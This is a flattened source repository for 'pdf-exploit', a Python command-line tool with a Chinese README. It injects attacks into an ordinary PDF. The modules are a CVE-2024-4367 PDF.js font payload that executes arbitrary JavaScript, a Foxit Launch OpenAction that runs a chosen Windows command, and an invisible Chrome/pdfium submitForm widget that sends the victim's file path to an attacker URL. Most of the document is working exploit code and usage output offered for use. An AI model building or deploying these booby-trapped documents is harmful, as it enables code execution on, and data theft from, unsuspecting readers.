├── .gitignore ├── README.md ├── core ├── __init__.py ├── core.py └── imp.py ├── exploit ├── chrome.py ├── foxit.py └── pdfjs.py ├── font.binary ├── pdf-exploit.gif ├── pdf.py └── requirements.txt /.gitignore: -------------------------------------------------------------------------------- 1 | .vscode 2 | .venv 3 | **/__pycache__ 4 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # README 2 | 3 | 集成近期的一些 pdf 解析器的漏洞,制作 PDF 文档。 4 | 5 | usage: 6 | 7 | ```bash 8 | usage: pdf-exploit [-h] -f F [-p P] -o O [-pdfjs PDFJS] [-foxit-exec FOXIT_EXEC] [-foxit-args FOXIT_ARGS] [-submitForm SUBMITFORM] 9 | 10 | options: 11 | -h, --help show this help message and exit 12 | -f F the harmless pdf path 13 | -p P password 14 | -o O the new pdf file 15 | 16 | pdfjs: 17 | CVE-2024-4367 18 | 19 | -pdfjs PDFJS javascript to be executed, example: alert(3) 20 | 21 | foxit: 22 | foxit pdf 'flawed design' explotation 23 | 24 | -foxit-exec FOXIT_EXEC 25 | -foxit-args FOXIT_ARGS 26 | 27 | chrome: 28 | use submitForm of pdfium to steal pdf file path and other information 29 | 30 | -submitForm SUBMITFORM 31 | The url to which the pdf path will be reported 32 | ``` 33 | 34 | example: 35 | 36 | ```bash 37 | ➜ pdf-exploit ./pdf.py -f ~/Downloads/data.pdf -o /tmp/data.pdf -pdfjs 'alert(3)' -foxit-exec cmd.exe -foxit-args "/c calc.exe" 38 | [+] use the PDF.JS exploit: alert(3) 39 | [+] make a text pdf 40 | [+] make evil font 41 | [+] fd ref: 9 42 | [+] add font object to pdf: 10 43 | [+] set font: /F1 44 | 45 | [+] use the foxit exploit: cmd.exe /c calc.exe 46 | set OpenAction to Catalog done 47 | 48 | [+] store to /tmp/data.pdf 49 | ``` 50 | 51 | ![pdf-exploit](./pdf-exploit.gif) 52 | 53 | 目前支持: 54 | 55 | - [CVE-2024-4367](https://codeanlabs.com/blog/research/cve-2024-4367-arbitrary-js-execution-in-pdf-js/): [PDF.js](https://github.com/mozilla/pdf.js.git) 解析 pdf 时存在缺陷,可以执行任意的 javascript 脚本。 56 | - [Foxit PDF](https://research.checkpoint.com/2024/foxit-pdf-flawed-design-exploitation/) 机制缺陷,windows平台下可以执行远程命令(有弹窗提醒)。 57 | - Chrome: 借助 submitForm 来窃取对应 pdf 文件在本地的路径信息(需要点击 pdf 文件任意位置,但用户无感) -------------------------------------------------------------------------------- /core/__init__.py: -------------------------------------------------------------------------------- 1 | from core.core import Pdf 2 | 3 | 4 | all = ( 5 | Pdf 6 | ) 7 | -------------------------------------------------------------------------------- /core/core.py: -------------------------------------------------------------------------------- 1 | from core.imp import * 2 | 3 | 4 | class Pdf(): 5 | def __init__(self, path: str, password: str = None) -> None: 6 | reader = PdfReader(path) 7 | if password: 8 | reader.decrypt(password) 9 | 10 | writer = PdfWriter(clone_from=reader) 11 | self._pdf = writer 12 | self._password = password 13 | 14 | self.add_object = self._pdf._add_object 15 | self.add_annotation = self._pdf.add_annotation 16 | self.close = self._pdf.close 17 | self.pages = self._pdf.pages 18 | self.objects = self._pdf._objects 19 | self.add_uri = self._pdf.add_uri 20 | 21 | def merge(self, page: PageObject, n: int = 0): 22 | self._pdf.pages[n].merge_page(page) 23 | 24 | def change_password(self, password: str): 25 | self._password = password 26 | 27 | def store(self, path: str): 28 | if self._password: 29 | self._pdf.encrypt(self._password) 30 | self._pdf.write(path) 31 | -------------------------------------------------------------------------------- /core/imp.py: -------------------------------------------------------------------------------- 1 | from pypdf import PdfReader, PdfWriter, PdfMerger, DocumentInformation, PageObject 2 | from pypdf._doc_common import PdfDocCommon 3 | from pypdf.generic import RectangleObject 4 | from pypdf.constants import PageAttributes as PG 5 | from pypdf.constants import PagesAttributes as PA 6 | from reportlab.pdfgen import canvas 7 | from reportlab.lib.pagesizes import letter 8 | from typing import ( 9 | IO, 10 | Any, 11 | Callable, 12 | Deque, 13 | Dict, 14 | Iterable, 15 | List, 16 | Optional, 17 | Pattern, 18 | Tuple, 19 | Type, 20 | Union, 21 | cast, 22 | ) 23 | 24 | from pypdf.generic import ( 25 | PAGE_FIT, 26 | ArrayObject, 27 | BooleanObject, 28 | ByteStringObject, 29 | ContentStream, 30 | DecodedStreamObject, 31 | Destination, 32 | DictionaryObject, 33 | Fit, 34 | FloatObject, 35 | IndirectObject, 36 | NameObject, 37 | NullObject, 38 | NumberObject, 39 | PdfObject, 40 | RectangleObject, 41 | StreamObject, 42 | TextStringObject, 43 | TreeObject, 44 | ViewerPreferences, 45 | create_string_object, 46 | hex_to_rgb, 47 | ) 48 | -------------------------------------------------------------------------------- /exploit/chrome.py: -------------------------------------------------------------------------------- 1 | from core import * 2 | from core.imp import * 3 | 4 | 5 | class ChromePdfExploit(): 6 | def __init__(self, target_addr: str) -> None: 7 | self.target_addr = target_addr 8 | pass 9 | 10 | def _make_action(self) -> DictionaryObject: 11 | action = DictionaryObject({ 12 | NameObject("/S"): NameObject("/JavaScript"), 13 | NameObject("/JS"): TextStringObject(f""" 14 | var u = "{self.target_addr}"; 15 | this.submitForm(u); 16 | """), 17 | }) 18 | return action 19 | 20 | def _make_annot(self, rect: RectangleObject, action: IndirectObject) -> DictionaryObject: 21 | annot = DictionaryObject({ 22 | NameObject("/Type"): NameObject("/Annot"), 23 | NameObject("/Subtype"): NameObject("/Widget"), 24 | NameObject("/Rect"): rect, 25 | NameObject("/ca"): NumberObject(0), # 透明度? 26 | 27 | NameObject("/A"): action, 28 | 29 | NameObject("/H"): NameObject("N"), # 高亮模式, N: No highlighting 30 | NameObject("/FT"): NameObject("/Btn"), 31 | NameObject("/T"): TextStringObject("pagebtn"), 32 | 33 | # field flags 34 | NameObject("/Ff"): NumberObject(0b10000000000000000), 35 | }) 36 | return annot 37 | 38 | def exploit(self, pdf: Pdf): 39 | action = self._make_action() 40 | 41 | for p in pdf.pages: 42 | arct = p.artbox 43 | if not isinstance(arct, RectangleObject): 44 | arct = p.mediabox 45 | if not isinstance(arct, RectangleObject): 46 | arct = p.bleedbox 47 | print(f"{p.page_number} use arct: {arct}") 48 | annot = self._make_annot(arct, pdf.add_object(action)) 49 | pdf.add_annotation(p, annot) 50 | -------------------------------------------------------------------------------- /exploit/foxit.py: -------------------------------------------------------------------------------- 1 | from core.imp import * 2 | from core import Pdf 3 | 4 | 5 | class Foxit(): 6 | def __init__(self, exec: str, args: str) -> None: 7 | self._exec = exec 8 | if args: 9 | self._args = args 10 | else: 11 | self._args = "" 12 | 13 | def _make_action(self) -> DictionaryObject: 14 | return DictionaryObject({ 15 | NameObject("/S"): NameObject("/Launch"), 16 | NameObject("/Win"): DictionaryObject({ 17 | NameObject("/F"): TextStringObject(self._exec), 18 | NameObject("/P"): TextStringObject(self._args), 19 | }), 20 | }) 21 | 22 | def exploit(self, pdf: Pdf): 23 | action = self._make_action() 24 | for o in pdf.objects: 25 | try: 26 | t = cast(NameObject, o["/Type"]) 27 | if t == "/Catalog": 28 | o[NameObject("/OpenAction")] = pdf.add_object(action) 29 | print("set OpenAction to Catalog done") 30 | break 31 | except (KeyError, TypeError): 32 | pass 33 | -------------------------------------------------------------------------------- /exploit/pdfjs.py: -------------------------------------------------------------------------------- 1 | import io 2 | 3 | from core.imp import * 4 | from core import Pdf 5 | 6 | # reference: https://forum.obsidian.md/t/cve-2024-4367-arbitrary-javascript-execution-in-pdf-js/82248 7 | 8 | 9 | class ExploitPdfjs(): 10 | def __init__(self, font_path: str, js: str) -> None: 11 | self.js = js 12 | with open(font_path, "rb") as f: 13 | b = f.read() 14 | self.font_binary = b 15 | 16 | def _make_evil_font(self, pdf: PdfDocCommon) -> int: 17 | """在指定 pdf 中添加恶意字体 18 | 19 | Args: 20 | pdf (PdfDocCommon): _description_ 21 | js (str): _description_ 22 | 23 | Returns: 24 | int: _description_ 25 | """ 26 | print("[+] make evil font") 27 | 28 | o = StreamObject() 29 | o.update({ 30 | NameObject("/Filter"): NameObject("/FlateDecode"), 31 | NameObject("/Length1"): NumberObject(2462), 32 | NameObject("/Length"): NumberObject(19407), 33 | }) 34 | o.set_data(self.font_binary) 35 | ref1 = pdf._add_object(o) 36 | 37 | fd = DictionaryObject() 38 | fd.update({ 39 | NameObject("/Flags"): NumberObject(4), 40 | NameObject("/FontBBox"): ArrayObject([NumberObject(0), NumberObject(0), NumberObject(1), NumberObject(1)]), 41 | NameObject("/FontFile"): ref1, 42 | NameObject("/FontName"): NameObject("/SNCSTG+CMbX12"), 43 | NameObject("/ItalicAngle"): NumberObject(0), 44 | NameObject("/Type"): NameObject("/FontDescriptor"), 45 | }) 46 | ref2 = pdf._add_object(fd) 47 | print(f"[+] fd ref: {ref2.idnum}") 48 | 49 | d = DictionaryObject() 50 | d.update({ 51 | NameObject("/BaseFont"): NameObject("/SNCSTG+CMBX12"), 52 | NameObject("/FontDescriptor"): ref2, 53 | NameObject("/FontMatrix"): ArrayObject([NumberObject(1), NumberObject(2), NumberObject(3), NumberObject(4), NumberObject(5), TextStringObject(self.js)]), 54 | NameObject("/Subtype"): NameObject("/Type1"), 55 | NameObject("/Type"): NameObject("/Font"), 56 | NameObject("/Name"): NameObject("/F1") 57 | }) 58 | 59 | ref = pdf._add_object(d) 60 | print(f"[+] add font object to pdf: {ref.idnum}") 61 | 62 | return ref.idnum 63 | 64 | def make(self) -> PdfWriter: 65 | print(f"[+] make a text pdf") 66 | packet = io.BytesIO() 67 | can = canvas.Canvas(packet, pagesize=letter) 68 | can.setFontSize(0.0001) 69 | can.drawString(0, 0, ".") 70 | can.save() 71 | 72 | # move to the beginning of the StringIO buffer 73 | packet.seek(0) 74 | 75 | # create a new PDF with Reportlab 76 | rPdf = PdfReader(packet) 77 | wPdf = PdfWriter(clone_from=rPdf) 78 | 79 | font_idx = self._make_evil_font(wPdf) 80 | 81 | for o in wPdf._objects: 82 | try: 83 | if o["/Resources"]: 84 | resources = cast(DictionaryObject, o["/Resources"]) 85 | font = resources.raw_get("/Font") 86 | 87 | if type(font) == IndirectObject: 88 | font = cast(IndirectObject, font) 89 | font_obj = cast(DictionaryObject, 90 | wPdf._objects[font.idnum-1]) 91 | 92 | # evil font 93 | font_indirect = IndirectObject(font_idx, 0, wPdf) 94 | font_indirect_ref = wPdf._add_object(font_indirect) 95 | 96 | for k in font_obj.keys(): 97 | print(f"[+] set font: {k}") 98 | v = font_obj.raw_get(k) 99 | assert (isinstance(v, IndirectObject)) 100 | v.idnum = font_indirect_ref.idnum 101 | else: 102 | raise Exception(f"暂时不支持的字体类型: {type(font)}") 103 | break 104 | except KeyError: 105 | pass 106 | 107 | return wPdf 108 | 109 | def exploit(self, pdf: Pdf): 110 | w = self.make() 111 | pdf.merge(w.pages[0], 0) 112 | -------------------------------------------------------------------------------- /font.binary: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/rzte/pdf-exploit/aa6f248d6032b0a7deba8ec7e292b748f76d3aab/font.binary -------------------------------------------------------------------------------- /pdf-exploit.gif: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/rzte/pdf-exploit/aa6f248d6032b0a7deba8ec7e292b748f76d3aab/pdf-exploit.gif -------------------------------------------------------------------------------- /pdf.py: -------------------------------------------------------------------------------- 1 | #! ./.venv/bin/python3 2 | 3 | import argparse 4 | from core import Pdf 5 | from exploit import pdfjs, foxit, chrome 6 | 7 | 8 | def run(): 9 | parser = argparse.ArgumentParser(prog='pdf-exploit') 10 | 11 | parser.add_argument("-f", help="the harmless pdf path", required=True) 12 | parser.add_argument("-p", help="password", required=False) 13 | parser.add_argument("-o", help="the new pdf file", required=True) 14 | 15 | pdfjs_group = parser.add_argument_group( 16 | title="pdfjs", description="CVE-2024-4367") 17 | pdfjs_group.add_argument( 18 | "-pdfjs", help="javascript to be executed, example: alert(3)") 19 | 20 | foxit_group = parser.add_argument_group( 21 | title="foxit", description="foxit pdf 'flawed design' explotation") 22 | foxit_group.add_argument("-foxit-exec", dest="foxit_exec") 23 | foxit_group.add_argument("-foxit-args", dest="foxit_args") 24 | 25 | chrome_group = parser.add_argument_group( 26 | title="chrome", description="use submitForm of pdfium to steal pdf file path and other information") 27 | chrome_group.add_argument( 28 | "-submitForm", help="The url to which the pdf path will be reported, example: http://127.0.0.1:9999") 29 | 30 | args = parser.parse_args() 31 | 32 | pdf = Pdf(args.f, args.p) 33 | 34 | if args.pdfjs: 35 | print(f"[+] use the PDF.JS exploit: {args.pdfjs}") 36 | exp = pdfjs.ExploitPdfjs("./font.binary", args.pdfjs) 37 | exp.exploit(pdf) 38 | print("") 39 | 40 | if args.foxit_exec: 41 | print( 42 | f"[+] use the foxit exploit: {args.foxit_exec} {args.foxit_args}") 43 | exp = foxit.Foxit(args.foxit_exec, args.foxit_args) 44 | exp.exploit(pdf) 45 | print("") 46 | 47 | if args.submitForm: 48 | print(f"[+] use the chrome exploit: {args.submitForm}") 49 | exp = chrome.ChromePdfExploit(args.submitForm) 50 | exp.exploit(pdf) 51 | print("") 52 | 53 | print(f"[+] store to {args.o}") 54 | pdf.store(args.o) 55 | 56 | 57 | if __name__ == "__main__": 58 | run() 59 | -------------------------------------------------------------------------------- /requirements.txt: -------------------------------------------------------------------------------- 1 | pypdf==4.2.0 2 | reportlab==4.2.2 3 | --------------------------------------------------------------------------------